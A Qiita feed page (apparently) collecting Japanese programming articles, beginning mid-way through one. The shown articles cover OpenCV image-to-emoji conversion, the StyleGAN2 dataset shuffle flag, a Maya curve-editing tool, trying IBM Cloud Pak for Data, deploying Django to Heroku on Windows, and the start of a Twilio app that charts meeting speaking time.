'sink', 82: 'refrigerator', 84: 'book', 85: 'clock', 86: 'vase', 87: 'scissors', 88: 'teddybear', 89: 'hairdrier', 90: 'toothbrush'} def detection(image): model = cv2.dnn.readNetFromTensorflow('models/frozen_inference_graph.pb', 'models/ssd_mobilenet_v2_coco_2018_03_29.pbtxt') image_height, image_width, _ = image.shape model.setInput(cv2.dnn.blobFromImage(image, size=(300, 300), swapRB=True)) output = model.forward() objects = [] for detection in output[0, 0, :, :]: confidence = detection[2] if confidence > TH_DETECT: class_id = detection[1] class_name = CLASS_NAMES[class_id] xmin = int(detection[3] * image_width) ymin = int(detection[4] * image_height) xmax = int(detection[5] * image_width) ymax = int(detection[6] * image_height) objects.append([class_name, xmin, ymin, xmax, ymax]) print(objects) return objects def load_dic_emoji(fn): with open(fn) as f: dic_emoji = {} for row in f: class_name, _, emoji, _ = row.split(',') dic_emoji[class_name] = emoji return dic_emoji def draw_emoji_image(image_list, dic_emoji, dst): for row in image_list: for val in row: if val not in dic_emoji.keys(): dst.write(' ') else: dst.write(dic_emoji[val]) dst.write('\n') return def main(): args = sys.argv assert len(args)==3 # this.py input_image output_txt dic_emoji = load_dic_emoji('./dic_emoji.txt') image = cv2.imread(args[1]) objects = detection(image) image_height, image_width, _ = image.shape image_list = [[0 for i in range(W_SIZE)] for j in range(H_SIZE)] with open(args[2], 'w') as dst: list_objects = [] for obj in objects: class_id, xmin, ymin, xmax, ymax = obj xmin = int(xmin) ymin = int(ymin) xmax = int(xmax) ymax = int(ymax) if class_id in dic_emoji.keys(): list_objects.append([class_id, (xmin+xmax)/(2*image_width), (ymin+ymax)/(2*image_height)]) for obj in list_objects: class_id, x, y = obj x_round = math.floor(x * W_SIZE) y_round = math.floor(y * H_SIZE) image_list[y_round][x_round] = class_id print(x_round, y_round, class_id) draw_emoji_image(image_list, dic_emoji, dst) if __name__ == '__main__': main() 出力テキストファイルの横幅、縦幅はプログラム上部にハードコーディングしています。 引数は入力ファイル(画像)、出力ファイル(テキスト)の2つです。 変換例 左から元画像、メモ帳での表示、Chromeブラウザでの表示です。 ※一部の絵文字はメモ帳では文字化けしてしまいました。 おわりに 画像認識技術(と一部自然言語処理)を用いて画像を絵文字に変換するプログラムが出来ました。 絵文字クイズを作る、怖くて見られない画像をポップにする、ネタバレを防ぎつつ画像を公開するときなどにご利用ください。 冒頭の絵文字クイズの答えは『最後の晩餐』でした。左の二人の赤茶色の服がテディベアとして認識されています。 出典 画像は下記のサイトより商用利用可なものを利用させて頂きました。 https://pixabay.com/ja/photos/ https://publicdomainq.net/
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

stylegan2のdataset_toolでデータセットを作るとデフォルトでシャッフルされる話

要約 stylegan2で複数の解像度の画像のデータセット(dataset-r02.tfrecordsみたいなもの)を作るときに python dataset_tool.py create_from_images ./my/dataset ./my/pic とやると、デフォルトで順番がシャッフルされる。 シャッフルさせないためには、 python dataset_tool.py create_from_images ./my/dataset ./my/pic --shuffle 0 としなければいけない。 はじめに 昔GANを自分で作って実行したりしていたが、どうもいい画像が作れず、放置していました。 しかし最近styleGAN2なるものを発見していろいろ調べていました。 その中でも この記事の内容はgooglecolabも公開されているうえ、ちゃんと動くという素晴らしい記事でした。 しかしこちらで、元の画像と生成された画像の順番が違うという問題点があり、その解決法を見つけました。 内容 まず、使用しているstyleganのコードはこちらになります。 そして、複数の解像度の画像のデータセット(dataset-r02.tfrecordsみたいなもの)を作るときに実行する python dataset_tool.py create_from_images ./my/dataset ./my/pic について、dataset_tool.pyをみてみると、最後のほうに引数についてこのような記述がありました。 dataset_tool.py p = add_command( 'create_from_images', 'Create dataset from a directory full of images.', 'create_from_images datasets/mydataset myimagedir') p.add_argument( 'tfrecord_dir', help='New dataset directory to be created') p.add_argument( 'image_dir', help='Directory containing the images') p.add_argument( '--shuffle', help='Randomize image order (default: 1)', type=int, default=1) ここのの--shuffleという引数はデフォルトで1になっていました。 さらにこの--shuffleが使用されているところを探すと、 dataset_tool.py def create_from_images(tfrecord_dir, image_dir, shuffle): print('Loading images from "%s"' % image_dir) image_filenames = sorted(glob.glob(os.path.join(image_dir, '*'))) if len(image_filenames) == 0: error('No input images found') img = np.asarray(PIL.Image.open(image_filenames[0])) resolution = img.shape[0] channels = img.shape[2] if img.ndim == 3 else 1 if img.shape[1] != resolution: error('Input images must have the same width and height') if resolution != 2 ** int(np.floor(np.log2(resolution))): error('Input image resolution must be a power-of-two') if channels not in [1, 3]: error('Input images must be stored as RGB or grayscale') with TFRecordExporter(tfrecord_dir, len(image_filenames)) as tfr: order = tfr.choose_shuffled_order() if shuffle else np.arange(len(image_filenames)) for idx in range(order.size): img = np.asarray(PIL.Image.open(image_filenames[order[idx]])) if channels == 1: img = img[np.newaxis, :, :] # HW => CHW else: img = img.transpose([2, 0, 1]) # HWC => CHW tfr.add_image(img) この関数(今回使用している)にたどり着き、さらにこう使われていました。 order = tfr.choose_shuffled_order() if shuffle else np.arange(len(image_filenames)) def choose_shuffled_order(self): # Note: Images and labels must be added in shuffled order. order = np.arange(self.expected_images) np.random.RandomState(123).shuffle(order) return order 調べたのですが、pythonではどうもTrue、Falseが1、0にも対応しているようで、デフォルトの1はシャッフルするに相当していたみたいです。 よってシャッフルされないためには、 python dataset_tool.py create_from_images ./my/dataset ./my/pic --shuffle 0 とすることでできます。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

draggerContext を使ってみた

カーソルの軌跡に沿ってナーブスカーブを編集してみたかったので、 draggerContextを使ってやってみた。 まずはdraggerContextを下調べ projection viewPlane (ビュー プレーンに投影) objectViewPlane ((ビュー プレーンと平行な)オブジェクト プレーンに投影) objectPlane (オブジェクトの位置と法線(既定)0,1,0 で定義した指定プレーンに投影) plane (原点と法線(既定)0,1,0 で定義した指定プレーンに投影) sketchPlane (スケッチ プレーンに投影) xAxis (X 軸上の最近接ポイントに投影) yAxis (Y 軸上の最近接ポイントに投影) zAxis (Z 軸上の最近接ポイントに投影) boundingSphere (オブジェクト球の境界上の最近接ポイントに投影) boundingBox (オブジェクト バウンディング ボックス上の最近接ポイントに投影) この辺がよく判らないので、細々検証したい。 ざっくりと検証用のツールを作成 import maya.cmds as cmds def pressCommand_test(): pressPosition = cmds.draggerContext(toolName, query=True, anchorPoint=True) print("start position" + str(pressPosition)) def dragCommand_test(): dragPosition = cmds.draggerContext( toolName, query=True, dragPoint=True) print(str(dragPosition)) node = cmds.spaceLocator()[0] cmds.setAttr(node + ".t", *dragPosition) def releaseCommand_test(): pass toolName = "hogeTool" if cmds.draggerContext(toolName,q =True, exists=True): cmds.deleteUI(toolName) cmds.draggerContext(toolName, projection = "plane", pressCommand = "pressCommand_test()", dragCommand = "dragCommand_test()", releaseCommand = "releaseCommand_test()", space = "world" ) cmds.setToolTo(toolName) perspカメラ越しに実行してみて、結果を確認 viewPlane 現在のカメラのviewPlane上に投影し、3次元上の位置情報を取得 objectViewPlane objectPlane / plane オプションを変えてみて判ったことは space を wolrdにしているので3次元上の座標になるが、screenにするとこでビューポートの左下を0,0としたX,Y座標を取得できる オブジェクトの指定方法がよく変わらない その上でnurbsCurveをどうこうしたい どうこうしたいので、どうしよう。 ざっくりと考えるとこんな感じかしら? カメラ = A CV 元位置 = B ストローク上 = C CV 移動先 = P と置きなおすと ベクトルAC を ABと同じ長さになるように延長した点をPとする 必要になってくるのは A:カメラ位置 これで現在のカメラを取得できそう。 OpenMayaUI.M3dView.active3dView().getCamera() cam_MFnTransIns = om2.MFnTransform(om2.MFnDagNode(omui.M3dView.active3dView().getCamera().transform()).getPath()) cam_position = cam_MFnTransIns.translation(om2.MSpace.kWorld) C:viewPlane上のストローク座標 draggerContext で projecction = viewPlane かつ space = world で取得可能 B:CVの元位置 xfromあたりで取得 点Cの定義 ストローク上の点は沢山取得できるけれども、どれを点Cとして定義しようか? ストロークの各ポイントからパラメーター位置を割り出す CVのworld位置をビューポート上の2次元位置に変換して、ストロークの最近接点を割り出す ストローク上の点を採用してnurbsCurveを生成、rebuildで元Curveと諸々合わせてCV位置を取得 軌跡の描画も兼ねさせてしまいたいので、3つ目を採用 pressCommand - ストロークのカーブがあったら削除 - クリックした点を取得 draggCommand - ストロークのカーブが無ければ作成 - ある場合はポイントをappendしていく releaseCommand - 最初に選択していたカーブに合わせて degree / spans を取得し、rebuild pressPosition = [] tmpCurveName = "tempCurve" selectCurve = "" toolName = "hogeTool" def draggerEditCurve_pressCommand(): global pressPosition pressPosition = cmds.draggerContext(toolName, query=True, anchorPoint=True) if cmds.objExists(tmpCurveName): cmds.delete(tmpCurveName) def draggerEditCurve_dragCommand(): dragPosition = cmds.draggerContext( toolName, query=True, dragPoint=True) if cmds.objExists(tmpCurveName): cmds.curve(tmpCurveName , p = [dragPosition], append =True) else: cmds.curve(name = tmpCurveName , p = [pressPosition,dragPosition], d = 1, bezier = False, periodic = False) cmds.refresh() def draggerEditCurve_releaseCommand(selectCurve): degree = cmds.getAttr(selectCurve + ".degree") spans = cmds.getAttr(selectCurve + ".spans") cmds.rebuildCurve(tmpCurveName,ch =False, degree = degree,rebuildType = 0,spans = spans,replaceOriginal = True,keepRange =0) def draggerEditCurveTool(): selectCurve = cmds.ls(sl =True)[0] if cmds.draggerContext(toolName,q =True, exists=True): cmds.deleteUI(toolName) cmds.draggerContext(toolName, projection = "viewPlane", pressCommand = "draggerEditCurve_pressCommand()", dragCommand = "draggerEditCurve_dragCommand()", releaseCommand = "draggerEditCurve_releaseCommand(\""+selectCurve+"\")", space = "world" ) cmds.setToolTo(toolName) draggerEditCurveTool() 点Pの定義 2種類のカーブとカメラの位置から、最終的な移動地点を定義する。 def getDistPoint(sourceCurve,targetCurve): cam_MFnTransIns = om2.MFnTransform(om2.MFnDagNode(omui.M3dView.active3dView().getCamera().transform()).getPath()) cam_position = om2.MVector(cam_MFnTransIns.translation(om2.MSpace.kWorld)) sourceCurve_dagPath = om2.MGlobal.getSelectionListByName(sourceCurve).getDagPath(0) if sourceCurve_dagPath.hasFn(om2.MFn.kNurbsCurve): sourceCurve_shapeFn = om2.MFnNurbsCurve(sourceCurve_dagPath) all_ids = [] for i in range(0,sourceCurve_shapeFn.numCVs): all_ids.append(i) sourceCurve_comp = [sourceCurve + '.cv[' + str(vid) + ']'for vid in all_ids] targetCurve_comp = [targetCurve + '.cv[' + str(vid) + ']'for vid in all_ids] for sourceCurve_cv,targetCurve_cv in zip(sourceCurve_comp,targetCurve_comp): sourceCurve_cv_position = om2.MVector(cmds.xform(sourceCurve_cv,q =True,ws =True, t=True)) targetCurve_cv_position = om2.MVector(cmds.xform(targetCurve_cv,q =True,ws =True, t=True)) curPoint_vect = targetCurve_cv_position - cam_position curPoint_length = curPoint_vect.length() point_vect = sourceCurve_cv_position - cam_position point_vect = point_vect.normal() dist_vect = point_vect * curPoint_length dist_position = cam_position + dist_vect cmds.xform(targetCurve_cv,ws =True, t=dist_position) 結合 細々と作ってきたものをまとめるとこんな感じ。 なにかしらカーブを選択して実行。 import maya.cmds as cmds import maya.api.OpenMaya as om2 import maya.api.OpenMayaUI as omui pressPosition = [] tmpCurveName = "tempCurve" toolName = "draggerEditCurveTool" def getDistPoint(sourceCurve,targetCurve): cam_MFnTransIns = om2.MFnTransform(om2.MFnDagNode(omui.M3dView.active3dView().getCamera().transform()).getPath()) cam_position = om2.MVector(cam_MFnTransIns.translation(om2.MSpace.kWorld)) sourceCurve_dagPath = om2.MGlobal.getSelectionListByName(sourceCurve).getDagPath(0) if sourceCurve_dagPath.hasFn(om2.MFn.kNurbsCurve): sourceCurve_shapeFn = om2.MFnNurbsCurve(sourceCurve_dagPath) all_ids = [] for i in range(0,sourceCurve_shapeFn.numCVs): all_ids.append(i) sourceCurve_comp = [sourceCurve + '.cv[' + str(vid) + ']'for vid in all_ids] targetCurve_comp = [targetCurve + '.cv[' + str(vid) + ']'for vid in all_ids] for sourceCurve_cv,targetCurve_cv in zip(sourceCurve_comp,targetCurve_comp): sourceCurve_cv_position = om2.MVector(cmds.xform(sourceCurve_cv,q =True,ws =True, t=True)) targetCurve_cv_position = om2.MVector(cmds.xform(targetCurve_cv,q =True,ws =True, t=True)) curPoint_vect = targetCurve_cv_position - cam_position curPoint_length = curPoint_vect.length() point_vect = sourceCurve_cv_position - cam_position point_vect = point_vect.normal() dist_vect = point_vect * curPoint_length dist_position = cam_position + dist_vect cmds.xform(targetCurve_cv,ws =True, t=dist_position) def draggerEditCurve_pressCommand(): global pressPosition pressPosition = cmds.draggerContext(toolName, query=True, anchorPoint=True) if cmds.objExists(tmpCurveName): cmds.delete(tmpCurveName) def draggerEditCurve_dragCommand(): dragPosition = cmds.draggerContext( toolName, query=True, dragPoint=True) if cmds.objExists(tmpCurveName): cmds.curve(tmpCurveName , p = [dragPosition], append =True) else: cmds.curve(name = tmpCurveName , p = [pressPosition,dragPosition], d = 1, bezier = False, periodic = False) cmds.refresh() def draggerEditCurve_releaseCommand(selectCurve): degree = cmds.getAttr(selectCurve + ".degree") spans = cmds.getAttr(selectCurve + ".spans") cmds.rebuildCurve(tmpCurveName,ch =False, degree = degree,rebuildType = 0,spans = spans,replaceOriginal = True,keepRange =0) getDistPoint(tmpCurveName,selectCurve) cmds.select(selectCurve,r =True) cmds.delete(tmpCurveName) def draggerEditCurveTool(): selectCurve = cmds.ls(sl =True)[0] if cmds.draggerContext(toolName,q =True, exists=True): cmds.deleteUI(toolName) cmds.draggerContext(toolName, projection = "viewPlane", pressCommand = "draggerEditCurve_pressCommand()", dragCommand = "draggerEditCurve_dragCommand()", releaseCommand = "draggerEditCurve_releaseCommand(\""+selectCurve+"\")", space = "world" ) cmds.setToolTo(toolName) draggerEditCurveTool() 現行だとopen以外のカーブは対応してなかったりとか色々限定的ではあるので、後々アップデートしたいなぁ
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

IBM Technology Zone の Cloud Pak for Data で遊ぶ

Cloud Pak for Data ってなに? 必要な機能を拡張できるオープンなデータプラットフォームです。 さまざまな環境と接続することができ、ざっくりこんなことができます。 データ管理系 - データの一元管理 - アクセスコントロール - データ種別における自動マスキング - ユーザーロールによるデータ項目ごとの閲覧制限 分析系 - 分析環境の提供、Python, Rなど - AutoAIによるモデル生成 - SPSSによる分析 - COGNOSによるダッシュボード作成 応答・探索系 - Watson discoveryによる文書検索 - Watson Assistant によるインテリジェントな応答 製品版は他社で提供されているサービスと連携することも可能です。 個々の機能はたくさんありますが、ここではTechzoneでCloud Pak for Dataを試す方法をご案内します。 前提条件: IBMIdの取得をお願いします。(ステップの途中でも登録可能) IBM Technology Zone にアクセスします。 https://techzone.ibm.com/ ログインIDによって、表示されるメニューが異なります。 複数のタブが表示される方は、Experiences タブを選択してください。 Cloud Pak for Data をクリックします。 次に、サービスおよびリージョンの選択が表示されるので東京を選択します。 (利用内容に応じて適宜選んでください) 画面が更新され、アカウントの作成またはアクティブ化のメニューが表示されます。 すでにIBMIdをお持ちの方は、右側のログインメニューを選択してください。 さらに画面が遷移します。 リージョンの選択を求められますので東京を選択します。 (利用内容に応じて適宜選択してください) 画面が更新され、ユーザー名の入力とパスワードの入力が求められます。 ここで、作成済みのIBMId(主にe-Mailアドレス)とパスワードを入力してください。 プロビジョニングが開始されます。 使用する準備ができたら、IBM Cloud Pak for Dataへの移動をクリックしてください。 Cloud Pak for Data の画面が起動します。 メニュー解説のツアーが表示されますので、Nextでツアーを見るか❎で閉じてください。 ツアーを一通り見ると、次にtutorial 作成のガイドが出ます。 初めて利用の際は、tutorial の利用をお勧めします。 チュートリアルの画面に沿ってプロジェクトを作成する最近、ストレージサービスを選択、または作成する必要があります。 IBMIdに紐づくストレージがない場合は、プロジェクト名の右側ストレージの定義で 追加、をクリックします。 新規ストレージ作成の場合、Cloud Object Storageが一定量無料で利用できるのでライトプランを洗濯の上、作成します。 ストレージ作成後、プロジェクトの作成ボタンがグレーアウトしていますので、ストレージの定義メニューの②最新表示をクリックし、情報を更新します。 更新後、プロジェクトの作成が開始されます。 プロジェクトが作成されると、アクセスユーザー別のチュートリアルが表示されますので、興味のある内容を参照しましょう。 例えば、チュートリアルプロジェクト”Jupiter Energy payment plan campaign”の場合は、画面のような資産(Asset)が登録されます。 おすすめポイント チュートリアルやサンプルを使うことで検証の際、非常に労力がかかる膨大なデータを生成することなく、機能を試すことができます。 概要にチュートリアルの利用方法が書かれているので、ガイドに沿って進めてみてください。 視覚的にもわかりやすい、Data Refineryから取り掛かることをお勧めします。 利用したいサービスを追加するとき IBM Cloud Pak for Dataをクリック、ホーム画面に戻ります。 機能の拡張、サービスの作成ボタンより、自動生成されないサービスを作成いただけます。 サンプルプロジェクトを試す方法 IBM Cloud Pak for Dataをクリック、ホーム画面に戻ります。 新規プロジェクトの作成をクリックします。 プロジェクトの作成メニューで”サンプルまたはファイルからプロジェクトを作成”を選択します。 プロジェクトの作成画面でタブを”サンプルから”に切り替えます。 2021年12月時点で34のサンプルプロジェクトがお試しいただけます。 お試しいただけるメニューが多数あります。 ぜひ、トライアル環境をお楽しみください。 最後にお願い サンプルプロジェクトの中にはデータ提供が停止されているもの、動作するリージョンが限定されているものもあります。お気づきの点は、構築環境のFeedback機能からコメントやリクエストをお願いします。 サンプルコードも参考になりますので、皆様のお手元のデータと連携してお試しください。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Herokuデプロイ奮闘記①(Django:Windows)

2021年日本は火事場の馬鹿力で社会の荒波の中、スライムとして転生しひとときの…ボケ突っ込みの前振りはさておき、キカガクさんでdjangoとHerokuを使うことになり、その一方で下記背景もあったため最新に近い情報でいろいろ出来ないかと模索した結果、とりあえずファーストステップはクリアしたので、掲載・情報共有したいと思います。一助になれれば幸いです。 環境:Windows11    Python 3.10.0    git 2.33.1    heroku 13.5    (pythonライブラリはrequirements.txtにて記載) 背景 https://devcenter.heroku.com/articles/python-support にてpython runtimeのサポートversionが3.10だったためいけないか 試行錯誤したいと思いました。あと、Windows11PCの方が速そうかな(;^_^Aと。 0.準備 Visual Stadio Code(以後vscode)をインストールして下さい。 1.pythonのインストール pythonをインストールして下さい(当時最新 3.10.0) 2.vscodeの拡張機能を必要に応じてadd-onして下さい。 @sensuikan1973さんがおすすめの拡張機能を紹介しています。ご参照下さい。  https://qiita.com/sensuikan1973/items/74cf5383c02dbcd82234 3.仮想環境を作るフォルダを作成し(ここではHello World)、ファイルタブで「フォルダを開く」を選択して下さい。 こんな感じになります。 4.vscodeを起動してターミナル(タブ 表示で選択or Ctrl+@ )を表示し、コマンド プロンプトを追加します。 5.コマンドプロンプトにて >python -m venv djangovenv を実行し、djangovenvフォルダを作成します。 上記のコマンドの djangovenv の部分は自身で名前を設定できる部分です。自身で Web アプリを作成する際には任意の名前に変更してもかまいません。 6.仮想環境の起動 現在、仮想環境は起動していません。なので下記のコマンドを実行して下さい。 >djangovenv\Scripts\activate ※以降、仮想環境起動のまま処理をして頂くことをお勧めします。 仮想環境が立ち上がるとこんな感じになります。 7.djangoのインストール 仮想環境には Django がないのでインストールしましょう。Python の仮想環境を使用しているので、pip を使用できます。「==version」を加えてver指定もできます。 >pip install django==3.2.9 # or >pip install django 8.helloworldprojectフォルダの作成 >django-admin startproject helloworldproject をコマンドプロンプトで実行して「helloworldproject」フォルダを作成して下さい。 成功するとこんな感じになります。 helloworldproject は、今回作成するプロジェクトのフォルダの名前です。実際に自作で作成する場合は、任意の名前を指定できます。 >cd helloworldproject 開発サーバの起動には次のコードを実行します。  >python manage.py runserver 【補足】  ・python ~ が上手く動かない時    python の部分を python3 に変更して実行してください。  ・Windows OS でうまく動作しない時    >python3 manage.py runserver 0:8000 9.<\helloworldproject\settings.py>を編集します。 (1)「import os」の追加 os依存になるpathの通し方をコントロールするために必要になります。 (2)BASE_DIRの変更 (1)に伴い指定するディレクトリを変更します。 # Djangoにおいて基本となるフォルダ(manage.py)の場所を示しています。 BASE_DIR = Path(__file__).resolve().parent ⇒BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) (3)hostの編集   ワイルドカード「*」を使ってアクセスの指定範囲を広げます。 #hostの編集 ALLOWED_HOSTS = [] ⇒ALLOWED_HOSTS = ['*'] (4)DBのPath編集 (1)の編集に伴いTEMPLATESで指定しているディレクトリを変更します。 #DBのPath編集 'NAME': BASE_DIR / 'db.sqlite3', ⇒'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), (5)言語、時間設定変更 日本の設定にします。 #言語、時間設定変更 LANGUAGE_CODE = 'en-us' ⇒LANGUAGE_CODE = 'ja' # 時間の設定 TIME_ZONE = 'UTC' ⇒TIME_ZONE = 'Asia/Tokyo' (6)日本語変換確認 下記命令をコマンドプロンプトで実行し、日本語になっているか確認します。 >python3 manage.py runserver 10.<\helloworldproject\helloworldapp>フォルダを作成・編集します。 > python manage.py startapp helloworldapp   をコマンドプロンプトで実行してフォルダを作成します。成功すると以下の構成になります。 11.< /helloworldproject/settings.py>を編集します。 ★INSTALLED_APPSの編集 使うアプリケーションの定義にhelloworldappを追加します。 #Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] ⇒INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'helloworldapp' #追加 ] 12.<\helloworldproject\urls.py>に追記します。 ★includeを追加し、ファイル名を含むurlを指定可能にします。  from django.contrib import admin  from django.urls import path   urlpatterns = [   path('admin/', admin.site.urls),  ] ⇒from django.contrib import admin  from django.urls import path, include # includeを追加    urlpatterns = [   path('admin/', admin.site.urls),   path('hello/', include('helloworldapp.urls')), # 追加  ] 13.< helloworldapp/urls.py >を作成します。 ★12.で指定したファイルを作成します。 from django.urls import path urlpatterns = [ path('', hellofunction), ] 14.< helloworldapp/views.py>に追記します。 ホームページで表示されるライブラリをimportし、そこで使う関数を定義します。  from django.shortcuts import render ⇒from django.shortcuts import render # こちらは後で使用します。  from django.http import HttpResponse # 追加  def hellofunction(request):  return HttpResponse('Hello World !') 15.起動確認をします。 >python manage.py runserver or >python manage.py runserver 0:8000   でHTMLを立ち上げて「Hello World!」と表示されるか確認します。但し、このままだと表示されるアドレスはhttp://127.0.0.1:8000/hello になりますのでご注意下さい。 16.を編集します。 HTMLファイルを呼び出せるようにさらに変更します。  from django.shortcuts import render    from django.http import HttpResponse  def hellofunction(request):  return HttpResponse('Hello World !') ⇒from django.shortcuts import render    def hellofunction(request): return render(request, 'helloworldapp/hello.html') 17.< helloworldproject/templates/helloworldapp/hello.html>フォルダ・ファイルを作成します。 16で指定したHTMLを作成します。 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>My First Django</title>   </head> <body> <p>Hello World !</p> </body> </html> 18.< helloworldproject/urls.py >を編集します。 起動した仮想環境直でアクセスしたいので'hello/'を削ります。 from django.contrib import admin from django.urls import path, include urlpatterns = [ path('admin/', admin.site.urls), path('', include('helloworldapp.urls')), # 'hello/' → '' に変更 ] 19.環境の仕様を確認します。 >python manage.py runserver 20.必要なライブラリをインストールします。 Herokuに必要なライブラリのインストールをします。要領は以下の通りです。 >pip install gunicorn また、インストールするライブラリを以下に列記します。   ・backports.entry-points-selectable   ・certifi   ・distlib   ・django-heroku   ・django-toolbelt   ・filelock   ・gunicorn   ・pipenv   ・platformdirs   ・six   ・static3   ・virtualenv   ・virtualenv-clone ※手動(pip)でインストール、またはその際に追加インストールされたライブラリを列記しています。 このライブラリはhttps://devcenter.heroku.com/ja/articles/getting-started-with-python を参考に記載しています。また英語表記ですが簡単な説明はhttps://pypi.org/project/ に書かれていました。必要に応じてご確認下さい。 21.gitのインストールします。 普通のPCへのインストールの要領でexeファイルを叩きます。詳細はhttps://qiita.com/HyunwookPark/items/d399f6959fc922a15ee1 ( HyunwookPark(Embodiea Lab.)様の記事)をご参照ください。 22.herokuのインストールします。 https://devcenter.heroku.com/ja/articles/getting-started-with-python#-2 からダウンロードしてexeファイルをダブルクリックし、インストールして下さい。アカウント登録についてはこちらをご参照下さい(https://mebee.info/2020/02/01/post-5039/ )。 23.requirements.txtの取得します。 >pip freeze > requirements.txt をコマンドプロンプトで実行し、requirements.txtを作成します。 24.pipfileの作成します。 >pip install -r requirements.txt をコマンドプロンプトで実行し、pipfileを作成します(これを使ってデプロイ時のライブラリを読み込むようです)。 25.< helloworlproject/settings.py >の修正します。 以下を追記して、import出来るようにしておきます。  # https://docs.djangoproject.com/en/3.2/howto/static-files/  STATIC_URL = '/static/' ⇒# https://docs.djangoproject.com/en/3.2/howto/static-files/  STATIC_URL = '/static/'  import django_heroku #追記  django_heroku.settings(locals()) #追記 26.git bashにターミナルを変更します。 27.ディレクトリを必要なファイルが読み込める所(.Procfile,.gitignore)へ変更します。 $cd helloworldproject 28.デプロイに必要なファイルを作成します。 (1)Procfile ファイルの中身は以下を記載下さい。 web: gunicorn helloworldproject.wsgi Procfile の中には下記のように process type : commandの順で記述し、上記だと web がプロセスタイプ、gunicorn ~ にコマンドが記述されています。今回はプロジェクト名が helloworldproject のため、 helloworldproject.wsgi と指定しています。 (2).gitignore ファイルの中身は以下を記載下さい。 *.pyc *~ __pycache__ djangovenv db.sqlite3 /static .DS_Store (3)runtime.txt 使うpythonのバージョンを指定します。中身は以下のように記載下さい。 python-3.10.0 デプロイする上で不必要なものを無視するように指定します。 29.herokuにログイン $heroku login 上記のようになるので、赤線の部分を削って上位の作成したアプリのあるアドレスへ移動します。 30.appriをpython同梱で作成 $heroku create アプリケーション名 --buildpack heroku/python 31.heroku add-onの準備 (1)アプリを選択します。 (2)Find more add-onをクリックします。 (3)下記画面に移るのでスクロールし、 Postgresを選択します。 (4)Submit Order Formを選択します。 (5)Heroku Postgresをインストールします。 (6)タダなのはこれHobby Dev - Freeしかないのでこれを選択します。その上でApp To Provision To(赤線)に対象のアプリ名を記入しSubmit Order Formを確定します。 32.gitの処理 (1)初期化します。 $git init (2)herokuで作ったアプリとvscodeで作ったフォルダを繋ぎます。 $heroku git:remote -a アプリケーション名 (3)デプロイに必要なファイルを全て選択します。 $git add . (4)プッシュ出来るように、コミット状態にします。 $git commit -m 'first commit' (5)プッシュし、アプリを作成します。 $git push heroku master 長々となってしまいましたが、以上で問題なく…出力出来るはずです(何回ミスして破壊と創造繰り返したことか...( = =) トオイメ)。あちこち調べて、いらないファイルを作ることもあったのでまとめてみました。皆様の一助にならんことを切に願います。つたない記載で申しわけありません。一応、あとは日記帳と機械学習アプリがあるのですが…こんな感じだといつ出来上がることやら(;^_^A。一番コケるのはgit、herokuのあたりだと思いますが、この処理で出来ました。「なせば大抵なんとかなる!」というつもりで頑張りましょう。では。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

オンライン会議での発言率を表示する

はじめに 会議をしていても「いつも同じ人が喋ってるなぁ」と思うことありませんか? 話すべき役割の人であれば問題ありませんが,誰かの発言機会を奪ってしまっていたり,他の人が発言する気がないのなら改善する必要がありそうです.そんな時に,発言率のデータを取れる機能を持ったオンライン会議アプリを開発してみましょう! 本記事ではあくまでチームの状況把握を目的としているので,この機能を評価に使うのが本当に良いのか気をつけてください. 本題 こんな感じで会議での発言率(正確には発言秒数)を円グラフで表します. 今回の実装はGithubで確認できます. 概要 ビデオ通話機能には,Twilio を使います. 準備 1. Twilioアカウントを作成します. 2. ベースとなるコードをFork & Cloneする. 基本的なビデオ機能は既に実装したものを使いましょう. 3. 必要となる認証情報を準備する ACCOUNT SIDを取得する ACCOUNT_SIDは Consoleから取得できます. API KEYを作成する API_KEY_SIDとAPI_KEY_SECRETは API Keysから「Create API Key」を選択します. API KEYに分かりやすい名前をつけます.今回は「Speak Rate」にします. するとSIDとSecretが表示されるので,次項の.envへコピペします. .envに書き込む .env.templateがあるので,これを.envという名前に変更し,中身を以下のように書き換えます. .env TWILIO_ACCOUNT_SID=ACCOUNT_SIDをコピペする TWILIO_API_KEY_SID=API_KEY_SIDをコピペする TWILIO_API_KEY_SECRET=API_KEY_SECRETをコピペする 4. 依存関係をインストールする 今回はPythonを使うのでvenvを使って仮想環境を準備し,pip installします. $ python -m venv venv $ source /venv/bin/activate (windowsの人は $ source venv\Scripts\activate) (venv) $ pip install -r requirements.txt 5. 起動してみる (venv) $ FLASK_ENV=development flask run ブラウザでlocalhost:5000にアクセスすし,別タブからも同様に接続すると以下のような画面が表示されると思います.ビデオと音声の使用は許可してください. 実装していく ここからがこの記事のメインです.「ボタンを押すとその時点での会話率を円グラフで表示する」機能を作っていきます. 1. UI(ボタン・表示領域を用意する) まずは必要となるボタンと,円グラフの表示領域を作成します.(空のcanvas領域が表示されるので少し汚いですが,今回は許してください) templates/index.html <button id="join_leave">Join call</button> +<button id="toggle_audio" disabled>Mute Audio</button> +<button id="display_speak_rate_button" disabled>Display Speak Rate</button> </form> <p id="count"></p> + <div class="chart-container" style="position: relative; height:300px; width:300px"> + <canvas id="display_speak_rate" height="300" width="300"></canvas> + </div> 以下の画像のように「MuteAudioボタン」と「Display Speak Rateボタン」が追加され,「自分のカメラ映像との間に空白」ができていればOKです. 2. ミュート機能を実装する 「ボタンを押すとその時点での会話率を円グラフで表示する」機能を1人で試すためにはミュートを使って擬似的に話者を切り替える必要があるので,まずはミュート機能を実装します. 通話中にはミュートボタンを押せるようにし,退室すると押せないようにします.また,現在ミュート中の時にはボタンの表示を「UnMute Audio」に,現在マイクがオンの時には「Mute Audio」にします.(発言率表示ボタン(display_speak_rate_button)も同様なので一緒に記述します) static/app.js const connectButtonHandler = (event) => { ... 省略 ... connect(username) .then(() => { joinLeaveButton.innerText = "Leave call"; 